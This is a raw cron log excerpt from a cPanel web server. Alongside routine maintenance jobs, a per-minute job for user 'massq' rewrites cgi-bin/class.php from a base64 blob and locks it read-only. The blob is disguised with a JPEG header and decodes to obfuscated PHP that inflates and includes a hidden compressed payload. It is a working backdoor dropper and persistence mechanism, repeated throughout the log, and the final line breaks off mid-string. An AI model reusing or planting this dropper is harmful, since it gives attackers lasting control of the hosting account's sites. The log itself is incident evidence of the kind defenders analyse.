Sep 12 01:56:01 server CROND[19350]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:57:01 server CROND[19814]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:57:01 server CROND[19813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:57:01 server CROND[19815]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 01:57:01 server CROND[19816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:58:01 server CROND[20307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:58:01 server CROND[20308]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:58:01 server CROND[20309]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:59:01 server CROND[20699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:59:01 server CROND[20700]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:59:01 server CROND[20701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:00:01 server CROND[21090]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 02:00:01 server CROND[21091]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 02:00:01 server CROND[21093]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 02:00:01 server CROND[21095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:00:01 server CROND[21104]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 02:00:01 server CROND[21099]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:00:01 server CROND[21101]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 12 02:00:01 server CROND[21103]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 02:00:01 server CROND[21100]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 12 02:00:01 server CROND[21106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:00:01 server CROND[21102]: (root) CMD (/usr/local/cpanel/bin/backup)
Sep 12 02:01:01 server CROND[21953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:01:01 server CROND[21954]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 02:01:01 server CROND[21955]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:01:01 server CROND[21956]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:01:01 server run-parts(/etc/cron.hourly)[21954]: starting 0anacron
Sep 12 02:01:01 server anacron[22027]: Anacron started on 2026-09-12
Sep 12 02:01:01 server anacron[22027]: Normal exit (0 jobs run)
Sep 12 02:01:01 server run-parts(/etc/cron.hourly)[22029]: finished 0anacron
Sep 12 02:02:01 server CROND[22460]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:02:01 server CROND[22461]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:02:01 server CROND[22468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:03:01 server CROND[23000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:03:01 server CROND[22999]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:03:01 server CROND[23002]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:04:01 server CROND[23413]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:04:01 server CROND[23415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:04:01 server CROND[23414]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:05:01 server CROND[23787]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 02:05:01 server CROND[23789]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 02:05:01 server CROND[23790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:05:01 server CROND[23797]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 02:05:01 server CROND[23801]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:05:01 server CROND[23804]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:05:01 server CROND[23806]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 02:05:01 server CROND[23805]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 12 02:05:01 server CROND[23802]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 02:06:01 server CROND[24632]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:06:01 server CROND[24633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:06:01 server CROND[24634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:07:01 server CROND[25056]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:07:01 server CROND[25057]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 02:07:01 server CROND[25058]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbx